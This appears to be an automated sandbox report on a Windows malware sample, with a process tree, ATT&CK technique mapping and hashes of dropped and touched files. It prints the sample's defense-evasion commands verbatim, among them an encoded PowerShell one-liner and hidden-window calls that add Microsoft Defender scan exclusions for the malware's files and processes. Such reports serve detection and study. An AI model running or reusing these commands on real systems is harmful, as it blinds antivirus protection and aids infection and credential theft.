    PID:4500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwARABlAHMAawB0AG8AcABcAGMAbwByAGUALQByAGUAbABlAGEAcwBlAFwAYgBpAG4AXABjAG8AcgBlAC0AcwBpAGwAZQBuAHQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQwBhAGMAaABlAFwAYQByAHQAaQBmAGEAYwB0AHMAXABtAHMAaABiAHEAbwA4AG8AMwA3ADgAOAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQwBhAGMAaABlAFwAYQByAHQAaQBmAGEAYwB0AHMAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEMAYQBjAGgAZQBcAGEAcgB0AGkAZgBhAGMAdABzAFwAbQBzAGgAYgBxAG8AOABvADMANwA4ADgAXAB2AGMAcgBlAGQAaQBzAHQAXwByAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEMAYQBjAGgAZQBcAGEAcgB0AGkAZgBhAGMAdABzAFwAbQBzAGgAYgBxAG8AOABvADMANwA4ADgAXABiAG8AbwB0AHMAdAByAGEAcABfADQAOABhADkALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwB2AGMAcgBlAGQAaQBzAHQAXwByAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBiAG8AbwB0AHMAdAByAGEAcABfADQAOABhADkALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
  2⤵
  - Executes a command shell one-liner
  PID:5904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwARABlAHMAawB0AG8AcABcAGMAbwByAGUALQByAGUAbABlAGEAcwBlAFwAYgBpAG4AXABjAG8AcgBlAC0AcwBpAGwAZQBuAHQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQwBhAGMAaABlAFwAYQByAHQAaQBmAGEAYwB0AHMAXABtAHMAaABiAHEAbwA4AG8AMwA3ADgAOAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAQwBhAGMAaABlAFwAYQByAHQAaQBmAGEAYwB0AHMAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEMAYQBjAGgAZQBcAGEAcgB0AGkAZgBhAGMAdABzAFwAbQBzAGgAYgBxAG8AOABvADMANwA4ADgAXAB2AGMAcgBlAGQAaQBzAHQAXwByAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAEMAYQBjAGgAZQBcAGEAcgB0AGkAZgBhAGMAdABzAFwAbQBzAGgAYgBxAG8AOABvADMANwA4ADgAXABiAG8AbwB0AHMAdAByAGEAcABfADQAOABhADkALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwB2AGMAcgBlAGQAaQBzAHQAXwByAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBiAG8AbwB0AHMAdAByAGEAcABfADQAOABhADkALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\Desktop\core-release\bin\core-silent.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:6484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\Desktop\core-release\bin\core-silent.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe""
  2⤵
  - Executes a command shell one-liner
  PID:6648
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Desktop\core-release\bin\core-silent.exe"
    3⤵
    PID:6688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788'""
  2⤵
  - Executes a command shell one-liner
  PID:6704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788""
  2⤵
  - Executes a command shell one-liner
  PID:6956
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788"
    3⤵
    PID:7052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts'""
  2⤵
  - Executes a command shell one-liner
  PID:7084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:7132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts""
  2⤵
  - Executes a command shell one-liner
  PID:5156
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts"
    3⤵
    PID:6204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:6164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe""
  2⤵
  - Executes a command shell one-liner
  PID:3164
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe"
    3⤵
    PID:6324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe'""
  2⤵
  - Executes a command shell one-liner
  PID:2940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe""
  2⤵
  - Executes a command shell one-liner
  PID:4992
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\bootstrap_48a9.exe"
    3⤵
    PID:2252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:2120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:692
- C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe
  C:\Users\Admin\AppData\Local\Temp\Cache\artifacts\mshbqo8o3788\vcredist_runtime.exe
  2⤵
  - Executes dropped EXE
  PID:7068

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
1⤵
- Executes dropped EXE
PID:6500

C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe
1⤵
- Executes dropped EXE
PID:6620

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:6944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

net_2a687f441c0f.dat

Path C:\ProgramData\Microsoft\Windows\Caches\net_2a687f441c0f.dat
Size 82B
SHA256 3b395f05d85767915b5a0745a0aacb258e10293a52bfb9cd8a4fe2a348be1549
MD5 e8874df19e1cf9000719c6672d1cd0e8
SHA1 50d04a5e6d86b0e19c6513bc286d67422c43812b
SHA512 ce6a1bac101a34ac5abfcd496ac58a7f2d1dffa3252c713674c3b8daf6f55728dccd1279c43592ff6c64a45739cb6d8cd0b04a0ad6859e5da274e16f5594aee0
TLSH
T1CFA01264681606B40018F0EC0101DC04536318216042BD4103014D50A19A018013910F
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 021636a793f57f23b16356c5b84fdf0122fdcadfaba305e4df4654bfbfa442bd
MD5 614f88cf39eb3223246afec4bf1463b4
SHA1 74d738ee6fdada75ac1ef1645073005e3f6b6cfb
SHA512 84a7151e0471e659699a15c25d9063af1975e79bb5f23de6b3bc0d3b96cd161d70ad35f6acdbc8123b38bac9918df8b202bd6f1f4ca8061919074973e6063a77
TLSH
T1A471DD313276B1D8C9163F071E2919C053BF4356EA94AF1CB698625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8da58a9b03c676d64167caf3657c5315a0b78038e3ae23bfef432a40d8d22290
MD5 81f1d957977f2d73471366011b7128bf
SHA1 c3403bfa34ee45b494966cf8be9bed08da2c5168
SHA512 171afd7f20b750bc0bdc1fc9fd4cf14984e63031e562c60a7b1bab3112c84572ebc63669b744e0e5399b2f5453039fb86937cf7ab417a72da7f1ad931c88f0c5
TLSH
T152D012B62A4A7010F2694A31B456CB00776D15A12852A705E26D945C99A90A566C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 632e5d10ca8e026535b8bad0611eea0f8f2f399de7654a4eecf63ec283a280ee
MD5 9ec741e4b7dd00179a57ab1f59ea4d5d
SHA1 625b36e657dc4ceb85728c2690cf0477f9972209
SHA512 19d002c7da75634c69663051bfe22bc0a3d0b53d38edc8b44f5bed1e67b6078055f22493344af99b4735645927736110ea132be144bf7d4410866650638c2eca
TLSH
T1F7E022B6C922FC3718FE0719A0098A4BE70413272A91895F3A3D820C8FB573A99C9C5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 10KB
SHA256 abef6cded7c15f02da6ff29d3cd357e1d196c94565ff4fb05e9b6e28c2806d97
MD5 c0a4fae4d147c236ba851b4425209652
SHA1 7e4b3925c02d124d5abd267448b9dfede4144514
SHA512 c9b0d496d363f77dbf0a0dbce9c01e63b15923d4931035885d20b963fbd0d1afd931be4bdd3db83dd41fe2d77e92f5168869c3c2af3d03efafba9b98aa8d6db6
SSDEEP 192:XckybzLFVMzjTI3xjpZMbfevToTyBAqVxf0jQOSq0os+GAE:XckALWjapZVvbAqnfU6os+g
TLSH
T1D922A731A8812992DF62473116D4E960343258D6F8C76EEB351428F6BEFFBE242367C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe58cfce.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58cfce.TMP
Size 3KB
SHA256 fb16e33b6c953c3d0aed2661d4f56bfe69f021f4eb95e3e86ae79b0600a018f8
MD5 ef9e79e87e0ed45940efcbb318fe5be1
SHA1 469dc6c5bc6ae41e68edd326b6aa9e8945d28b4c
SHA512 3af10b95bf41867f824ca5097702cceff7fc44589be174aa575a669e9600230465512fdd0fdb9ab6bbe8039cb4e230a11414a17cd68fe60a64e83ad73afafbd4
TLSH
T14781EB30091291A3D393893181E85624347289E9FDD3ED9E21901CF6FCFAF73457B955
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

History

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History
Size 204KB
SHA256 26a117e3f6d5bce00ff889038ea0a07f8d502e38c93407d8cdb645dfa0ac7ff1
MD5 039d2bd6e24afe49535e67131133fcfa
SHA1 eef554971f1941204c8c7cba118107c7bced5f87
SHA512 35a8029bfd5b9d239eaa923c41974d9c9d53df217d8a88daeec798141a1630a440d08826cb3f3b6a4aa289f73e6e3c72ac1296ba37bc53a9c965eb1dd90617c9
SSDEEP 384:R9U8mKXL9G1DEc0J/83uICtTBB4/2NGHgI94dbYGU7DXspU3i1:f1JPjtptTBB4ekHgO4SOU3W
TLSH
T1E214C7AF5A313705CF7C50F5A8E624E3696EE02ECF46A8DEB47100A1CED2623509D4BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Size 35KB
SHA256 6c6908f4217aef3220fc70707b9a316c81a731d67b130cfa7d232d93d7bc661e
MD5 f55e8c47c7dde4e8c40fb35ff9147cc5
SHA1 e4585e3f2947e76e21f070db061a02369b7d54a3
SHA512 47ceaeb452bbd06f56bf360a7f69b2f6f9e4a55403510e53580938814df67545f850ed3ba02e8add9d2b3d3135a4b06650f4d3da6c8a0ec2e4649c38355c3c3f
SSDEEP 384:HE+704kBl7+JNE/NXvtuXsTMEgJmrJkzFB4YLZeN79v2gCDLDUDUOw5LGeUkEkiV:g/KNEJt9QEgJmOfFySEN
TLSH
T1FEF285756042F619DBDFF99B699EAA38D352D0BDA54EFE00C1803FC4E8895CBAF25401
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 36KB
SHA256 db811deb10075159b5eafb6600fb7d2df010b03779b3cd0210ef28f324668885
MD5 96ebaa9374ef2565fa7ef70e17e2364f
SHA1 fad5705f4674005223d56a70b972f4258a728346
SHA512 667734afd99eec1fbb37003b473a22ea5889650d2aae1c218f872f4c993bfec5c387c5cedfe449228ec1c618728c11b276f54f1310051c87348c68b6bf813d0d
SSDEEP 384:hv+aTg706pOMAjwrqOTTIz+/wIgx2g5b7fe8+8nTJ1I0lmH6:oaTg706DHr/IztIU5/fekTfQa
TLSH
T14FF24B6E18129061C5CF237199795C6072F9205B6A13FCFF25B9A1335E35B937E2B070
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 3bcfc05d395f88836045311cbea9c3f69b1a35bdb4b59defd44c0e9dce9561c8
MD5 20de261d40b3f1dd28e1c9903e3bdd03
SHA1 3ea4c3c0171f5ddd8f63d0909d3f80e67a3bd577
SHA512 14b59b2603ba3b68a881c2a679faecf85381f9ac15e067552c23e45a1ca32b7437972f2d51a08de24f85a03b21b99d92ebebe03215549a4b77159b8b9d7bda22
SSDEEP 192:D1bATbBmaVv+/aaij6evD8igVR6itq9GmBmrmftQFmDmuH0mzmH:D1bATbBmaVv+/aaiGevD8igVR6itq9GB
TLSH
T111E1EAF783E5862DDA1155F0AA18BE1BCF1C0555832C3D6A85E4AE0BA3F2471E142B9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 2db3a5a82e6d8a0bd12e07bf482a1602c5fb157b48055b00ab849ddb110031a8
MD5 43ffe37991e4aede310d4dd4fb92539f
SHA1 e7043043cd6c8a09fb310a252c75a6939ca2f4e9
